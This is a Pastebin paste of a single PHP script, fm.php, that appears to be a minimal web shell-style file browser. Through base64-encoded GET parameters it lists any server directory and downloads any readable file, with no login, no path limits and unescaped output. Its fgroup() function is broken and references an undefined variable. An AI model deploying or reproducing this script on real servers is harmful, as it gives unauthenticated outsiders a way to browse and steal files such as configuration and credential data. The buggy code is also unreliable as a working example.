Advertisement
Guest User

Untitled

a guest
Jan 16th, 2019
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.22 KB | None | 0 0
  1. <?php
  2.  
  3.     function b64get($name) {
  4.         return isset($_GET[$name]) ? base64_decode($_GET[$name]) : null;
  5.     }
  6.  
  7.     function fowner($filename) {
  8.         return posix_getpwuid(fileowner($filename))['name'];
  9.     }
  10.  
  11.     function fgroup($filename) {
  12.         return posix_getpwuid(fileowner($filegroup))['name'];
  13.     }
  14.  
  15.     function faccess($filename) {
  16.         return substr(sprintf('%o', fileperms($filename)), -4);
  17.     }
  18.  
  19.     $dir = b64get('d');
  20.  
  21.     if( is_null($dir) )
  22.         $dir = '.';
  23.  
  24.     $file = b64get('f');
  25.  
  26.     $basef = "fm.php";
  27.  
  28.     $path = $dir .'/' . $file;
  29.  
  30.     if( isset($_GET['dl']) ) {
  31.         if ( file_exists($path) ) {
  32.  
  33.             if( !is_readable($path) )
  34.                 die('not readable');
  35.  
  36.             header('Content-Description: File Transfer');
  37.             header('Content-Type: application/octet-stream');
  38.             header('Content-Disposition: attachment; filename="'.basename($file).'"');
  39.             header('Expires: 0');
  40.             header('Cache-Control: must-revalidate');
  41.             header('Pragma: public');
  42.             header('Content-Length: ' . filesize($path));
  43.  
  44.             readfile($path);
  45.  
  46.             exit;
  47.         } else
  48.             die('file not exists');
  49.     }
  50.  
  51.     $o = opendir($dir);
  52.    
  53.     $dirs = [];
  54.     $files = [];
  55.  
  56.     while( ($f = readdir($o)) != false ) {
  57.         $p = $dir .'/' . $f;
  58.  
  59.         if( is_dir($p) )
  60.             $dirs[] = $f;
  61.         else if( is_file($p) )
  62.             $files[] = $f;
  63.     }
  64.    
  65. ?>
  66. Directory: <b><?php echo $dir; ?></b><br>
  67.  
  68. <table width="100%" border="1">
  69.     <tr>
  70.         <th>Name</th>
  71.         <th>O - G - A</th>
  72.         <th>Size</th>
  73.         <th>Download</th>
  74.     </tr>
  75. <?php
  76.     foreach ($dirs as $d) {
  77.         $p = $dir .'/' . $d;
  78.         ?>
  79.         <tr>
  80.             <td>
  81.                 <a href="<?php echo $basef .'?d='. base64_encode($p); ?>"><?php echo $d; ?></a>
  82.             </td>
  83.             <td>
  84.                 <?php
  85.                     echo fowner($p) . ' - ';
  86.                     echo fgroup($p) . ' - ';
  87.                     echo faccess($p);
  88.                 ?>
  89.             </td>
  90.             <td colspan="2"></td>
  91.         </tr>
  92.         <?php
  93.     }
  94.  
  95.     foreach ($files as $f) {
  96.         $p = $dir .'/' . $f;
  97.         ?>
  98.         <tr>
  99.             <td><?php echo $f; ?></td>
  100.             <td>
  101.                 <?php
  102.                     echo fowner($p) . ' - ';
  103.                     echo fgroup($p) . ' - ';
  104.                     echo faccess($p);
  105.                 ?>
  106.             </td>
  107.             <td><?php echo filesize($p) ?></td>
  108.             <td>
  109.                 <a href="<?php echo $basef . '?dl&d=' . base64_encode($dir) . '&f=' . base64_encode($f); ?>" target="_blank">Download</a>
  110.             </td>
  111.         </tr>
  112.         <?php
  113.     }
  114. ?>
  115. </table>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement